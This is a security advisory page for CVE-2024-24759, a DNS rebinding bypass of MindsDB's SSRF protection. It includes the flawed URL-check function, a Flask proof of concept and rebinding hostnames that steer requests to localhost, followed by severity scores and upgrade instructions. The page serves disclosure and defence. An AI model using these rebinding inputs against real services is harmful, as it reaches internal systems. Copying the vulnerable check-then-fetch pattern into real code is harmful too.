Skip to content

GHSA-4jcv-vp96-94xr CVE-2024-24759 PYSEC-2024-74

MindsDB Vulnerable to Bypass of SSRF Protection with DNS Rebinding

Critical PyPI
Severity
0.0 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
4.94%
Chance of exploitation in the next 30 days. Higher than 92.14% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-350 Reliance on Reverse DNS Resolution for a Security-Critical Action
CWE-918 Server-Side Request Forgery (SSRF)
Fix
23.12.4.2
Upgrade mindsdb to this version or later

Description

Summary

DNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms would be initially resolved to 190.119.176.200 and the next DNS issue to 127.0.0.1. Please notice the following in the latest codebase:

def is_private_url(url: str):
    """
    Raises exception if url is private

    :param url: url to check
    """

    hostname = urlparse(url).hostname
    if not hostname:
        # Unable to find hostname in url
        return True
    ip = socket.gethostbyname(hostname)
    return ipaddress.ip_address(ip).is_private

As you can see, during the call to is_private_url() the initial DNS query would be issued by ip = socket.gethostbyname(hostname) to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.

PoC

from flask import Flask, request, jsonify
from urllib.parse import urlparse
import socket
import ipaddress
import requests

app = Flask(__name__)


def is_private_url(url: str):
    """
    Raises exception if url is private

    :param url: url to check
    """

    hostname = urlparse(url).hostname
    if not hostname:
        # Unable to find hostname in url
        return True
    ip = socket.gethostbyname(hostname)
    if ipaddress.ip_address(ip).is_private:
        raise Exception(f"Private IP address found for {url}")


@app.route("/", methods=["GET"])
def index():
    return "http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr"


@app.route("/check_private_url", methods=["GET"])
def check_private_url():
    url = request.args.get("url")

    if not url:
        return jsonify({"error": 'Missing "url" parameter'}), 400

    try:
        is_private_url(url)
        response = requests.get(url)

        return jsonify(
            {
                "url": url,
                "is_private": False,
                "text": response.text,
                "status_code": response.status_code,
            }
        )
    except Exception as e:
        return jsonify({"url": url, "is_private": True, "error": str(e)})


if __name__ == "__main__":
    app.run(debug=True)

After running the poc.py with flask installed, consider visiting the following URLs:

  1. http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get is_private: false and the GET request would be issued to the www.Example.com website.
  2. http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get is_private: true
  3. http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP 190.119.176.214 and then DNS rebind into the network location 127.0.0.1:8667.

I set up a simple HTTP server at 127.0.0.1:8667, you can notice the results of the PoC in the next screenshot:

{
  "is_private": false,
  "status_code": 200,
  "text": "<pre>\n<a href=\"poc.py\">poc.py</a>\n</pre>\n",
  "url": "http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/"
}

Impact

  • Bypass the SSRF protection on the whole website with DNS Rebinding.
  • DoS too.

Affected versions

PyPI

PackageVulnerableFixed in
mindsdb
< 23.12.4.2
23.12.4.2
mindsdb
< 23.12.4.2
23.12.4.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

mindsdb PyPI → 23.12.4.2

pip
pip install --upgrade "mindsdb>=23.12.4.2"
poetry
poetry add "mindsdb>=23.12.4.2"
uv
uv add "mindsdb>=23.12.4.2"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:L

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
None
Availability (subsequent systems)
Low

CVSS 3.1 9.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
Low

Weakness

CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action

The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.

How to prevent it
  • Architecture and Design: Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.
  • Implementation: Perform proper forward and reverse DNS lookups to detect DNS spoofing.

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-9f6m-65v9-x9g2
MindsDB has an Improper Access Control Issue
High Also affects mindsdb
GHSA-4894-xqv6-vrfq
MindsDB: Path Traversal in /api/files Leading to Remote Code Execution
High Also affects mindsdb
GHSA-6xw9-2p64-7622
MindsDB affected by a SSRF vulnerability
High Also affects mindsdb
GHSA-qqhf-pm3j-96g7
MindsDB has improper sanitation of filepath that leads to information disclosure and DOS
Critical Also affects mindsdb
GHSA-32fj-r8qw-r8w8
MindsDB Cross-site Scripting vulnerability
Medium Also affects mindsdb
GHSA-crmg-rp64-5cm3
MindsDB Eval Injection vulnerability
High Also affects mindsdb
GHSA-wf9g-c67g-h4ch
MindsDB Eval Injection vulnerability
High Also affects mindsdb
GHSA-wcjw-3v6p-4v3r
MindsDB Eval Injection vulnerability
High Also affects mindsdb
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor